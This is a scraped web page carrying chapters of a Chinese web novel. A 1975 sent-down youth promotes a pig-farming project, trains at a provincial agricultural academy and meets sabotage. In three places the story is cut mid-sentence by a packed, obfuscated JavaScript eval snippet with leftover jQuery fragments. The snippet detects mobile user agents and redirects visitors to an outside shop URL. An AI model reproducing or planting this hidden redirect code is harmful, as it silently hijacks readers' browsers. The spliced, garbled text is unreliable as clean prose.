她耐心解释:技术是从书上学来的,已经在小规模试验中验证有效;省里选咱们,是因为咱们有基础,人实在,肯干。 最终,投票表决。二十三个人,十五票赞成,六票反对,两票弃权。通过了。 散会时,天已经擦黑。林晚照收拾东西准备走,刘委员走过来,脸色不太好看:“林同志,我还是那句话,稳当点好。你们年轻人敢闯,但别把全队带沟里。” “刘叔,我记住了。”林晚照认真地说,“我会小心的。” 走出队部,冷风一吹,她才感觉后背都湿透了。陈铁柱跟出来:“我送你回去。” 两人走在田埂上,谁都没说话。快到知青点时,陈铁柱突然说:“刘委员的儿子在县城农机站,一直想调回来当会计。这次选举,他支持了王会计。” 林晚照明白了。这是利益受损后的反弹。 “这事您怎么知道的?” “赵会计说的。”陈铁柱点了支烟,“队里的人际关系,比你想的复杂。你动了某些人的奶酪,就得准备好面对阻力。” “我做好准备了。” 回到知青点,屋里冷锅冷灶。李秀英病了,王晓芬去照顾她,刘翠翠去扫盲班代课。林晚照自己生火做饭,简单煮了锅红薯粥。 吃到一半,门被敲响了。来的是三婶,端着碗热气腾腾的饺子:“晚照,还没吃吧?刚包的,白菜猪肉馅,给你尝尝。” “三婶,这太贵重了……”林晚照知道,这年头包饺子是过年才有的待遇。 “客气啥。”三婶把碗塞她手里,“今天开会,婶子都听见了。你为咱们队着想,婶子支持你。那几个反对的,别往心里去,他们就是怕变。” 林晚照鼻子一酸:“谢谢三婶。” “谢啥,快趁热吃。”三婶拍拍她的手,“对了,跟你说个事。刘委员他媳妇今天下午去公社了,好像是找他那个在公社当干事的侄子。” 这个消息让林晚照警觉起来。刘委员自己反对不成,要找外援? 送走三婶,她食不知味地吃完饺子,收拾碗筷时,手腕上的银镯突然微微发烫。这是预警,有事情要发生。 她闭眼凝神,弹幕系统浮现: 【检测到异常能量波动:方向:公社;性质:人际关系干预;影响等级:中】 【建议:提前准备应对方案,目标人物:刘建国(公社干事,刘委员侄子)】 果然。 林晚照坐下,开始思考对策。刘建国在公社管什么?农业口?不对,他好像是管宣传的。宣传干事……能怎么干预养猪项目? 她想起前世看过的资料,七十年代搞任何新项目,都要过“政治正确”这一关。如果有人从意识形态上挑刺,说科学养猪是“崇洋媚外”“脱离群众”,那项目就可能被卡住。 得提前堵住这个漏洞。 她拿出纸笔,开始写一份补充材料:《关于科学养猪项目与农业学大寨精神结合的几点思考》。这是她的强项——前世写过的各种汇报材料、心得体会不计其数,知道怎么把新东西包装成符合主流意识形态的样子。 写到半夜,终于写完。她检查了一遍,确保每个观点都能在《人民日报》或《红旗》杂志上找到依据。什么“自力更生,艰苦奋斗”“土洋结合,服务生产”“为革命养猪,为备战备荒”,该有的口号一个不少。 第二天一早,她拿着补充材料去找陈铁柱。陈铁柱看完,难得地笑了:“晚照,你这脑子怎么长的?这都能想到。” “有备无患。”林晚照说,“队长,今天您去公社送方案,把这份也带上。如果刘建国找茬,就用这个堵他的嘴。” “行。”陈铁柱把材料装进文件袋,“还有件事,张教授那边来电报了,让咱们下周派人去省农科院参加培训。你去吧。” “我?”林晚照惊讶,“队里走不开吧?” “培训就七天,学的是核心技术,你去最合适。”陈铁柱说,“队里的事有我。你抓紧时间准备,介绍信我给你开好了。” 这消息来得突然。但林晚照知道,这是个重要机会。去省城,不仅能学到技术,还能扩展人脉,了解更多的信息。 “那我得把工作安排好。”她说,“工分核算快到月底了,得提前做完。养猪场那边也要交代清楚。” “给你三天时间准备,下周一出发。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854271|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回到队部,林晚照开始疯狂赶工。工分核算本来要月底才完成,她现在就得弄出来。好在大部分数据已经录入,只是汇总核对需要时间。 赵会计看她忙,主动帮忙:“晚照,你教我怎么汇总,我帮你弄一部分。” “谢谢赵会计。”林晚照也不客气,把方法教给他。两人配合,效率高了很多。 下午,她去养猪场交代工作。陈大牛听说她要走一周,有些慌:“林同志,你不在,这……这实验要是出问题咋办?” “我把每天的注意事项都写下来了。”林晚照拿出个小本子,“温度控制、饲料配比、防疫要点,都在这儿。您按这个来,不会出大问题。真有急事,可以给我发电报。” 她又把李桂花和几个帮工叫到一起,开了个短会。强调纪律,明确职责,每个人都分配了具体任务。 “我不在的时候,陈叔全权负责。大家听陈叔的,就像听我的一样。” 安排好这些,天又黑了。林晚照拖着疲惫的身体回到知青点,发现屋里亮着灯。推门进去,三个室友都在等她。 “晚照,听说你要去省城?”王晓芬眼睛亮晶晶的,“能帮我带点东西吗?” “带什么?” 王晓芬从枕头下拿出五块钱和一封信:“给我爸寄封信,再买盒雪花膏。省城的雪花膏比县城的好。” 李秀英也拿出两块钱:“帮我带本《赤脚医生手册》,周大夫说省城新华书店有。” 刘翠翠没说话,递过来一个小布包,里面是五块钱:“随便买点有用的。” 林晚照看着桌上的钱,心里暖融融的。这是信任,也是期待。 “行,我都记下了。”她拿出小本子,认真记下每个人的要求,“还有谁要带东西的?我一起问问。” 这一问不要紧,消息传出去,第二天队里好多人都来找她。三婶要买毛线,周大夫要买医书,赵会计要买墨水……最后列了整整两页清单。 林晚照哭笑不得,但一一记下。她知道,这些看似琐碎的要求背后,是大家对省城的向往,对外面世界的渴望。 出发前最后一天,陈铁柱从公社回来了,脸色不太好看。 “怎么了队长?” “刘建国果然找茬了。”陈铁柱说,“他说咱们的项目‘重技术轻政治’,要公社党委再研究研究。不过我把你的补充材料一递,他就不说话了。” “然后呢?” “公社王书记看了材料,很满意,当场就盖章了。”陈铁柱露出笑容,“王书记还说,等咱们做出成绩,要在全公社推广。” 悬着的心终于放下。林晚照长出一口气。 “还有,”陈铁柱从包里拿出个信封,“这是公社给你开的介绍信,还有二十块钱差旅费。省城住宿贵,别省着。” 二十块钱,足够在省城住七天招待所,还能吃几顿好的。 “谢谢队长。” “谢啥,你是为队里办事。”陈铁柱顿了顿,“晚照,省城不比乡下,人多眼杂,你一个人要小心。有事就找张教授,或者……打这个电话。” 他递过来一张纸条,上面写了个省城的电话号码。 “这是?” “我以前在部队的老战友,现在在省公安厅工作。”陈铁柱说,“万一遇到麻烦,找他。就说是我让你找的。” 这份心意太重了。林晚照郑重地收起纸条:“我记住了。” 晚上,她最后一次检查行李。几件换洗衣服,洗漱用品,笔记本和笔。最重要的,是那份盖了公社红章的合作方案。 她抚摸着方案封面,心里涌起一股奇异的感觉。几个月前,她还是上海弄堂里那个被继母欺负的可怜虫。现在,她要代表一个生产队,去省城谈合作。 命运这东西,真是说不清。 手腕上的银镯在灯光下泛着温润的光。她想起陈启明,想起那个关于2024年的警告。如果她现在做的这些事,真能为那个灾难的未来积累一点改变的力量…… 那这一切,就都值得。 窗外的风吹过,带来远处养猪场隐约的猪叫声。 明天,她就要离开这个刚刚扎根的地方,去往更广阔的天地。 但这里,永远是她的起点。 她吹灭油灯,躺到床上。 睡梦中,她仿佛看见了省城的高楼,看见了农科院的实验室,看见了那些穿着白大褂的研究人员。 还有一个模糊的身影,站在实验室的窗前,回头看她。 那个人说:“你终于来了。” 她看不清那人的脸。 但感觉,很熟悉。 22. 省城初印象 清晨五点半,开往省城的绿皮火车在永丰县站停靠三分钟。林晚照背着半旧的帆布包挤上车时,车厢里已经坐满了人。浓重的烟草味、汗味和煤烟味混杂在一起,但她竟然觉得亲切——这让她想起三个月前从上海来江西的那趟旅程。 那时候她还忐忑不安,不知道等待自己的是什么。现在,她有了方向。 找到座位,是靠窗的位置。她把包放在膝上,里面装着二十七页的合作方案,还有队里二十多户人家托她买的东西清单。车窗玻璃上凝着水汽,她用手擦了擦,看见站台上送行的人影渐渐后退。 火车缓缓启动,驶出县城。晨光中的田野蒙着一层薄霜,远处的山峦在雾气中若隐若现。林晚照靠窗坐着,感受着车轮与铁轨有节奏的撞击声。手腕上的银镯在衣袖下微微发烫,像是在呼应着远方的召唤。 从永丰到省城要六个小时。林晚照没闲着,她从包里掏出笔记本,开始梳理这次省城之行的目标: 第一,参加农科院培训,掌握核心技术; 第二,敲定合作细节,争取更多支持; 第三,采购清单上的物品; 第四,打听更多关于农业政策的信息; 第五,如果有可能,接触更多领域的人。 写到这里,她笔尖顿了顿。还有一件没说出口的事:她想看看,这个时代的省城是什么样子。1975年的省城,和她记忆中的那个现代化都市,有多大差别? 火车穿过一个又一个隧道,光线明暗交替。同座的是个四十多岁的妇女,带着个七八岁的男孩。孩子好奇地盯着林晚照看,她笑了笑,从包里掏出块硬糖递过去。 “谢谢姐姐!”孩子眼睛亮了。 “不客气。”林晚照摸摸他的头。这糖是她从空间里拿的,包装纸已经换成这个年代常见的油纸。 孩子的母亲连忙道谢:“大妹子,你这是去哪儿啊?” “省城,去学习。” “学习好啊。”妇女羡慕地说,“我年轻时也想上学,家里穷,供不起。” 两人聊了起来。妇女是去省城看病的,孩子腿上长了个瘤子,县医院治不了。说到医药费,她眼圈红了:“砸锅卖铁也得治,就这么一个娃。” 林晚照心里不是滋味。这个年代,一场大病就能拖垮一个家庭。她想了想,从笔记本上撕下一张纸,写了个地址:“大姐,您去省人民医院找这位周大夫,就说是我介绍的。他是上海来的专家,也许能帮上忙。” 地址是她前世记得的一位名医,这时候应该还在省城。虽然不一定能找到,但总是一线希望。 妇女千恩万谢地收下纸,珍重地揣进怀里。 中午时分,火车停靠一个大站。站台上有人卖盒饭,两毛钱一份,米饭上盖着几片白菜和两片薄薄的腊肉。林晚照买了一份,就着自带的凉白开吃起来。 味道很一般,盐放得重,油水少。但她吃得很认真——这是队里给的差旅费,不能浪费。 下午一点,火车终于驶入省城站。 林晚照背着包下车,第一感觉是人多。站台上黑压压全是人,拎着大包小包,挤着往出口涌。高音喇叭里循环播放着:“旅客同志们请注意,请按顺序出站,不要拥挤……” 她跟着人流往外走,出了站,眼前的景象让她怔了怔。 宽阔的广场,周围是三四层高的楼房,墙上刷着红色标语:“抓革命,促生产”“工业学大庆,农业学大寨”。有轨电车“叮叮当当”驶过,自行车流像潮水一样。人们的穿着比乡下整齐多了,虽然还是以蓝、灰、绿为主,但补丁少了,款式也多样些。 这就是1975年的省城。比她想象中繁华,但也比她记忆中的城市简陋得多。 按照地址,农科院在城东。她问了路,找到公交站牌。2路车,坐七站,票价五分钱。 车上挤得像沙丁鱼罐头。林晚照紧紧护着怀里的包,里面可是全队的希望。有人挤到她身边,手似乎要往她包里伸,她立刻警觉地侧身,那人讪讪地缩回手。 小偷哪儿都有,哪个年代都一样。 到站下车,眼前是一条安静的林荫道。路两旁是高大的梧桐树,叶子已经落尽,枝干在冬日的天空下画出遒劲的线条。农科院的大门很气派,水泥门柱上挂着白底黑字的牌子:江西省农业科学研究院。 门口有传达室,看门的是个戴眼镜的老头。林晚照递上介绍信,老头仔细看了,推了推眼镜:“你就是红星公社来的林晚照同志?” “是的。” “张教授交代过了,让你直接去三号楼找他。”老头很和气,“沿着这条路直走,看见红砖楼右拐。” 谢过老头,林晚照走进院子。农科院比她想象中大,像个小型的大学校园。几栋三四层的楼房错落分布,楼间有试验田,这个季节种的是冬小麦,绿油油的一片。 三号楼是栋三层红砖楼,门口挂着“畜牧兽医研究所”的牌子。她上楼,找到208室,敲门。 “请进。” 推门进去,是间宽敞的办公室。靠墙摆着几个书柜,里面塞满了书和资料。窗前有张办公桌,张教授正伏案写着什么。听见脚步声,他抬起头,看见林晚照,笑了。 “小林同志,一路辛苦了。” “张教授好。”林晚照规规矩矩地问好。 “坐,先喝口水。”张教授起身给她倒水,“住处安排好了,就在院里的招待所,条件简陋些,但方便。” “谢谢张教授。” “合作方案我看了,写得很专业。”张教授坐回椅子上,表情严肃起来,“但有些地方,我想听听你的真实想法。” 来了。林晚照坐直身体:“您请说。” “这个饲料发酵配方,你从哪来的?”张教授推过来一张纸,上面是林晚照方案里的一段,“这种微生物菌种组合,国内目前还没有报道。我查了国外文献,相似的研究是去年才发表的。” 林晚照心里一紧。她光顾着把前世的知识用上,忘了考虑这个年代的技术水平。弹幕系统给的配方太先进了。 “是……是我自己琢磨的。”她硬着头皮说,“在乡下试验时,发现某些草药残渣发酵后效果特别好,就试着组合了几种。” 这话半真半假。草药是她加的,但菌种组合确实是弹幕系统优化的。 张教授盯着她看了几秒,突然笑了:“你不用紧张。科学研究本来就需要大胆尝试。我只是想确认,这些数据是真实的。” “绝对真实。”林晚照松了口气,“我们做过小规模试验,出肉率提高了百分之十八。” “好。”张教授在文件上做了个标记,“培训明天开始,为期七天。内容很多,你要有心理准备。” 他又交代了些注意事项,然后叫来一个年轻助手:“小李,带林同志去招待所安置,再去食堂办个临时饭票。” 小李二十出头,戴着眼镜,很斯文的样子。他热情地帮林晚照拿行李,边走边介绍:“招待所在后院,两人一间。培训期间,食堂早餐六点半,午餐十一点半,晚餐五点半。错过时间就没了。” 招待所是栋两层小楼,木楼梯踩上去吱呀作响。房间在二楼,推开门,里面摆着两张木板床,一张桌子,两把椅子。窗户朝南,采光不错。 “你的室友是农校来进修的老师,晚上到。”小李说,“厕所在走廊尽头,洗澡要去公共澡堂,每周二、四、六开放。” 很简朴,但干净。林晚照很满意。 安置好行李,小李又带她去食堂办饭票。临时饭票是硬纸片,印着日期,打一个菜划掉一格。早饭一毛,午饭两毛,晚饭一毛五。 “省着点吃,能省下点钱。”小李低声说,“外面饭馆贵,一碗肉丝面要三毛五呢。” 办完这些,已经下午四点。小李还有事,先走了。林晚照回到房间,躺在床上休息。坐了一天车,确实累了。 但她睡不着。脑海里反复回放着张教授的话:“这种微生物菌种组合,国内目前还没有报道。” 太冒进了。她提醒自己,以后拿出新技术要更谨慎,要符合这个时代的发展水平。 不过既然已经拿出来了,就得想办法圆过去。她起身,从包里拿出笔记本,开始设计一套“合理化”的说辞:如何从传统经验中发现线索,如何通过反复试验验证,如何结合本地资源创新…… 写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854272|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一半,门开了。一个三十岁左右的女人提着行李进来,看见林晚照,愣了一下:“你是?” “我是来参加培训的,红星公社的林晚照。” “哦,我是农校的王文娟。”女人放下行李,很干练的样子,“畜牧专业的老师。你是哪个公社的?” 两人聊了起来。王文娟很健谈,听说林晚照来自基层,眼睛亮了:“太好了!我们上课总讲理论,缺的就是实践经验。你在乡下养猪遇到的具体问题有哪些?跟我说说。” 这正是林晚照需要的——接触不同领域的人。两人越聊越投机,从饲料配方聊到猪病防治,再聊到农村经济。 “其实我觉得,”王文娟压低声音,“现在这种大锅饭的模式有问题。干多干少一个样,谁有积极性?要是能搞承包制,把养猪场包给个人,效果肯定不一样。” 这话在1975年很大胆。林晚照心里一动:“王老师,您觉得承包制可能实现吗?” “难。”王文娟摇头,“现在政策不允许。但我在想,能不能在集体框架下,搞点激励机制?比如超额完成指标,给奖励。” 这思路和林晚照不谋而合。她正要深入聊,走廊里传来喊声:“开饭了!” 食堂是一栋平房,里面摆着十几张长条桌。打饭窗口排着队,菜很简单:白菜炖粉条,玉米面窝窝头。但油水比乡下足,粉条里能看到几片肥肉。 林晚照打了饭菜,和王文娟找了个位置坐下。同桌的还有几个来培训的人,互相介绍,都是各县来的技术员或公社干部。 “听说这次培训是为了推广科学养猪?”一个黑脸汉子问。 “对。”王文娟说,“省里想选几个试点,成功了再推广。” “那得有钱啊。”另一个戴帽子的说,“我们公社穷得叮当响,哪有钱建新猪舍。” 大家都叹气。林晚照没说话,心里却在盘算:如果农科院的项目能申请到专项资金,也许可以带动更多公社。 吃完饭,天已经黑了。农科院里没有路灯,只有办公楼和宿舍楼亮着零星灯光。林晚照和王文娟打着手电筒回招待所,路上聊起各自的生活。 “我丈夫在县农机站,孩子在老家由婆婆带。”王文娟说,“一个月回一次家。你呢?在乡下习惯吗?” “习惯了。”林晚照说,“乡下人实在,对我也好。” “那就好。”王文娟拍拍她的手,“女人在外面不容易,互相照应着点。” 回到房间,王文娟拿出本书看,林晚照也拿出笔记本,继续完善她的说辞。写到九点多,两人洗漱睡下。 躺在床上,林晚照却睡不着。透过窗户,能看见外面的星空。省城的天空没有乡下清澈,但星星依然很多。 她想起红星公社,想起养猪场,想起陈铁柱、陈大牛、三婶他们。不知道这时候他们在做什么。养猪场还好吗?工分核算有没有问题? 手腕上的银镯在黑暗中微微发烫。她轻轻抚摸着,想起陈启明,想起那个关于2024年的警告。 如果她现在做的这些事,真能改变一些东西…… 那再难也值得。 迷迷糊糊快要睡着时,她忽然听见外面有动静。是脚步声,很轻,但在安静的夜里很清晰。 脚步声停在她们房门外。 林晚照屏住呼吸。 钥匙插进锁孔的声音。 门把手转动。 她的心提到了嗓子眼。 但门没开——外面的人似乎发现门从里面插上了。 脚步声又响起,渐渐远去。 林晚照等了一会儿,确定人走了,才轻轻起身,走到门边。门上的插销好好的,但锁孔有新鲜的划痕。 有人想进来。 不是走错门,是故意的。 她回到床上,再也睡不着了。 为什么?她刚来省城,谁会对她感兴趣? 是冲着合作方案来的?还是……别的什么? 窗外的月光照进来,在地上投出冰冷的白斑。 林晚照握紧手腕上的银镯。 这个省城,比她想象中复杂。 明天开始,她要更加小心了。 23. 培训第一天 清晨六点,农科院的起床号准时响起。林晚照几乎一夜未眠,但依然迅速起身。她轻手轻脚地洗漱,没有吵醒还在熟睡的王文娟。窗外天色还是青灰色,晨雾笼罩着院里的试验田。 昨晚试图闯入的阴影还笼罩在心头。林晚照仔细检查了房门——锁孔上的划痕清晰可见,不是错觉。她从笔记本上撕下一页纸,折成细条夹在门缝处。这是最简单的预警装置,如果有人再次开门,纸片就会掉落。 做完这些,她背上帆布包,提前去了食堂。早餐是稀饭和咸菜,还有一人一个玉米面窝窝头。她坐在角落的位置,一边吃一边观察陆续进来的人。 来培训的大多是三四十岁的男性,穿着中山装或旧军装,皮肤黝黑,一看就是常年在基层跑的技术员或干部。女性很少,除了她和王文娟,只看见另外两个。 “林同志,起这么早?”张教授端着饭盘在她对面坐下。 “张教授早。”林晚照礼貌回应,“习惯了,在乡下都是这个点起。” “好习惯。”张教授咬了口窝窝头,“今天培训第一课是我讲,主要内容是国内外养猪技术现状。你那份方案里有些观点很新颖,我想请你配合做个案例分享。” 这是个机会,也是考验。林晚照点头:“好的,我需要准备什么?” “不用特意准备,就讲讲你们在红星公社的实践。”张教授顿了顿,“不过小林,有件事我得提醒你。这次培训的学员里,有些是其他公社推荐来学习的,也有些是……来挑刺的。” 这话说得很隐晦,但林晚照听懂了。有人不想看到红星公社拿到这个项目。 “谢谢张教授提醒。” “你心里有数就行。”张教授吃完最后一口饭,“八点,一号楼三楼会议室。” 一号楼是农科院的主楼,外墙爬满了枯藤。三楼会议室能容纳五六十人,此刻已经坐了三十多人。林晚照找了个靠前但不是最显眼的位置坐下,拿出笔记本和钢笔。 王文娟进来时,看见她,走过来在旁边坐下:“昨晚睡得好吗?” “还行。”林晚照没提半夜的事。 八点整,张教授走上讲台。他今天换了身深灰色中山装,头发梳得整齐,眼镜片在日光灯下反着光。 “同志们,欢迎参加全省科学养猪技术培训班。”他开门见山,“这次培训的目的是推广先进的养殖技术,提高我省生猪出肉率,为人民群众提供更多优质的猪肉产品。” 台下响起掌声。 “在正式讲课前,我想先请一位同志分享她的实践经验。”张教授的目光落在林晚照身上,“红星公社第五生产队的林晚照同志,她在基层摸索出了一套行之有效的养殖方法。让我们欢迎林同志。” 所有人的目光都投向林晚照。她深吸一口气,站起身走到讲台旁。这个位置能看清台下每一张脸——有好奇的,有不屑的,有审视的。 “各位同志,我叫林晚照,是红星公社的知青。”她开口,声音清亮,“今天主要分享我们在饲料发酵和疾病预防方面的几点尝试。” 她讲得很实际,没有高大上的理论,全是具体操作:怎么建发酵池,怎么控制温度,用什么草药预防常见病。讲到关键处,她在黑板上画出简易的示意图。 “这个发酵温度的控制,你们是怎么做到的?”台下有人提问,是个戴眼镜的中年男人。 “我们用土办法。”林晚照回答,“在发酵池里插根温度计,早晚各记录一次。如果温度低了,就加厚草帘保温;温度高了,就掀开草帘散热。” “听起来很简单嘛。”另一个声音响起,带着明显的轻视,“这种土办法,每个生产队都会。” 说话的是个四十多岁的男人,坐在后排,穿着崭新的中山装,手指干净,不像常干农活的样子。 林晚照看向他:“同志说得对,方法确实简单。但关键在于坚持和记录。我们连续记录了两个月的数据,才发现最合适的温度区间。科学就是从简单中总结规律。” 这话回答得不卑不亢。张教授赞许地点点头。 那男人还想说什么,被旁边的人拉住了。 林晚照继续讲完剩下的内容。她特意留了几个“破绽”——一些不成熟的想法,一些需要进一步验证的假设。这是她前世做汇报时学到的技巧:给出完整方案反而容易招致攻击,适当暴露不足,既能降低别人的戒心,也能引发讨论。 果然,她讲完后,台下展开了热烈讨论。有人赞同,有人质疑,但整体氛围是积极的。 “好了,讨论先到这里。”张教授控制住场面,“林同志的分享给我们提供了一个很好的切入点。现在,我开始今天的正式内容……” 上午的课讲的是国内外养殖技术对比。林晚照认真做着笔记,同时用弹幕系统扫描着台下的人。大部分人的状态都很正常,但有几个值得注意: 【后排穿中山装男人:吴建国,省农业局干部,对项目持保留态度】 【左前方戴帽子女同志:李红英,某国营农场技术员,对林晚照的分享很感兴趣】 【右侧角落年轻男子:频繁记录,注意力高度集中,身份待确认】 课间休息时,李红英主动走过来:“林同志,你刚才说的那个草药配方,能具体说说吗?” “当然可以。”林晚照从包里拿出个小本子,“我画了草药的样子,还有用量配比。” 两人正聊着,吴建国也凑过来,语气依然带着审视:“小林同志,你们那个发酵饲料,成本算过吗?别最后猪肉是增产了,成本却上去了,得不偿失。” 这个问题很实际。林晚照早有准备:“吴同志,我们算过账。发酵池一次性投入十五块钱,可以用三年。草药都是山里采的,只需要人工成本。综合算下来,每头猪的饲养成本增加不到一块钱,但出肉能增加十五到二十斤,按市价就是十到十四块钱。净增九到十三块。” 这个数据她反复核算过,精准到小数点后一位。 吴建国愣了愣,掏出个小本子算了算,不说话了。 “小林同志,账算得这么细?”李红英惊讶。 “在基层,一分钱都得掰成两半花。”林晚照笑笑,“不算清楚,对不起社员们的信任。” 这话说到了点子上。周围几个来自基层的技术员都点头。 第二节课讲疾病防治。张教授讲到猪瘟时,林晚照举手提问:“教授,如果发现疑似病例,但基层没有检测条件,该怎么处理?” 这是她实际遇到过的问题。 “这个问题很好。”张教授推了推眼镜,“在没有实验室条件的情况下,首先要做的是隔离。然后观察症状,记录病程,采集样本送到县畜牧站。最重要的是不要慌,不要乱用药。” 他详细讲解了各种常见病的鉴别要点。林晚照一边记,一边对照弹幕系统给出的信息——基本吻合,但弹幕系统更详细,包括了一些这个年代还没发现的病原体特性。 她犹豫了一下,还是决定不提那些超前的知识。饭要一口一口吃,路要一步一步走。 中午吃饭时,王文娟端着饭盘过来:“晚照,你今天讲得真好。那个吴建国,是省农业局管项目审批的,平时眼睛长在头顶上。你能把他问住,厉害。” “我只是实话实说。”林晚照扒了口饭,“王老师,下午是什么内容?” “实验室操作。”王文娟说,“张教授安排大家分组,学习基本的检测技术。你在我们组,还有李红英和那个……”她指了指角落里安静吃饭的年轻男子,“他叫陈明,是农科院今年新招的研究员。” 林晚照看向陈明。那人二十七八岁,戴副黑框眼镜,吃饭很慢,像在思考什么。弹幕系统显示: 【陈明:省农科院畜牧所助理研究员,研究方向:动物营养学】 【特殊提示:该人员近期频繁查阅1970-1975年国外畜牧学期刊,关注重点:饲料添加剂】 有意思。这个年代能接触到国外期刊的研究员,不是一般人。 下午的实验室在一号楼地下室。推开门,一股福尔马林和消毒水的混合气味扑面而来。实验室不大,摆着几张长条实验台,上面放着显微镜、离心机、恒温箱等设备。 “条件简陋,大家将就着用。”张教授说,“今天学两个内容:一是粪便镜检,检测寄生虫;二是血液涂片,看白细胞计数。” 分组进行。林晚照、王文娟、李红英、陈明一组。陈明话很少,但操作熟练,显然是常泡实验室的人。 “林同志,你先来试试。”张教授亲自指导她做粪便镜检。 林晚照前世在生物实验室待过,基本的显微镜操作难不倒她。她熟练地调焦、观察、记录,动作流畅得像做过千百遍。 “你以前用过显微镜?”张教授惊讶。 “在学校时学过。”林晚照含糊带过。原主确实上过初中,有生物课,但那个年代的学校条件,能有显微镜的少之又少。 好在张教授没深究,转向指导其他人。 轮到血液涂片时,林晚照更加小心。这个技术更专业,她故意做得生疏些,在张教授的指导下慢慢完成。 “不错,第一次做成这样很好了。”张教授鼓励道。 实验做到一半,实验室的门被推开了。一个穿着白大褂的中年女人进来,在张教授耳边低声说了几句。张教授脸色微变,对大家说:“我有点事,陈明,你带大家继续做。” 张教授匆匆离开。实验室里的气氛松弛了些。 “林同志,你们公社的猪,寄生虫感染率高吗?”陈明突然开口,这是他今天第一次主动说话。 “不高,我们定期用草药驱虫。”林晚照回答,“陈研究员对寄生虫有研究?” “有点。”陈明推了推眼镜,“我在想,如果能从草药中提取有效成分,做成标准化制剂,效果可能更好。” 这个思路很超前。1975年,国内兽药还以磺胺类、抗生素为主,中草药制剂很少。 “这个想法很好。”林晚照真诚地说,“不过提取工艺和标准化是难点。” “确实。”陈明眼睛亮了,像是找到了知音,“我查过一些国外资料,他们已经在做相关研究。但国内……” 他没说完,但意思明白——国内条件有限。 两人聊了起来。从草药提取聊到饲料添加剂,从国内现状聊到国外进展。李红英和王文娟插不上话,去做其他实验了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854273|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林同志,你这些知识从哪学的?”陈明终于问出了这个问题。 “喜欢看书,到处找资料看。”林晚照说,“陈研究员,您能接触到国外期刊?” 陈明警惕地看了看四周,压低声音:“我舅舅在外交部工作,有时候能带回来一些。但这话……” “我明白。”林晚照点头,“不会乱说。” 实验室的门再次被推开,张教授回来了,脸色不太好看。他没说什么,继续指导大家完成实验。 五点钟,培训结束。林晚照收拾东西准备离开时,张教授叫住她:“小林,留一下。” 等其他人都走了,张教授关上门,表情严肃:“刚才接到电话,你们公社的养猪场出了点问题。” 林晚照心里一紧:“什么问题?” “有猪突然死亡,原因不明。陈铁柱同志打电话到农科院,希望你能尽快回去看看。” “死了几头?” “三头。”张教授说,“但更麻烦的是,有传言说是因为用了你的新方法才死的。现在队里有人要求停止实验。” 林晚照的大脑飞速运转。猪突然死亡,可能是疾病,也可能是中毒,或者是其他意外。但在这个节骨眼上出事,太巧了。 “张教授,我需要请假回去。” “我已经安排好了。”张教授递过来一张车票,“今晚八点的火车,明天一早到县里。院里派车送你去车站。” “谢谢教授。” “还有,”张教授犹豫了一下,“小林,这事可能不简单。你回去后要小心处理,既要把问题查清楚,也要保护好自己。” 这话里的深意让林晚照警觉:“教授,您是不是知道什么?” 张教授沉默片刻,从抽屉里拿出一封信:“这是今早收到的匿名信,说你在培训期间行为不端,学术不诚实。我没当回事,但现在看来……” 林晚照接过信。纸张是普通的信纸,字是用打字机打的,没有署名。内容指责她“剽窃国外技术,伪装成自己的创新”“欺骗组织,骗取项目资金”。 “这是污蔑。”林晚照平静地说。 “我知道。”张教授收起信,“但有人写这封信,说明你触动了某些人的利益。养猪场的事,可能也是有人故意捣乱。” 林晚照想起昨晚试图闯入的人,想起培训课上吴建国的刁难,想起那些审视的目光。 “我明白了。”她把车票收好,“张教授,实验数据我都带来了,可以留下给您审查。如果证明我确实有问题,我承担一切责任。” “不用。”张教授摆摆手,“我相信你。但小林,你要记住,改革路上总有阻力。越是做得对的事,越会有人反对。” 离开实验室,林晚照快步走回招待所。王文娟正在整理笔记,看见她收拾行李,惊讶道:“晚照,你这是?” “队里有急事,我得回去一趟。”林晚照简单解释,“王老师,培训笔记能借我抄一份吗?我路上看。” “当然可以。”王文娟把笔记本递给她,“出什么事了?需要帮忙吗?” “暂时不用,谢谢。” 林晚照快速收拾好行李,检查了门缝处的纸片——还在原位,说明没人再次试图进入。她取下纸片,撕碎扔进垃圾桶。 六点半,农科院的车准时停在楼下。司机是个沉默的中年人,帮她放好行李,一路无话开到火车站。 省城火车站在暮色中灯火通明。林晚照买了个烧饼当晚饭,在候车室找了个角落坐下。她翻开王文娟的笔记,却一个字也看不进去。 手腕上的银镯在衣袖下发烫,像是在预警。 养猪场的事是意外还是人为?匿名信是谁写的?昨晚试图闯入的人是谁?这些问题在脑海里盘旋。 她想起陈铁柱,想起陈大牛,想起三婶。他们现在一定很着急,很无助。她把项目带给他们希望,现在却可能带来麻烦。 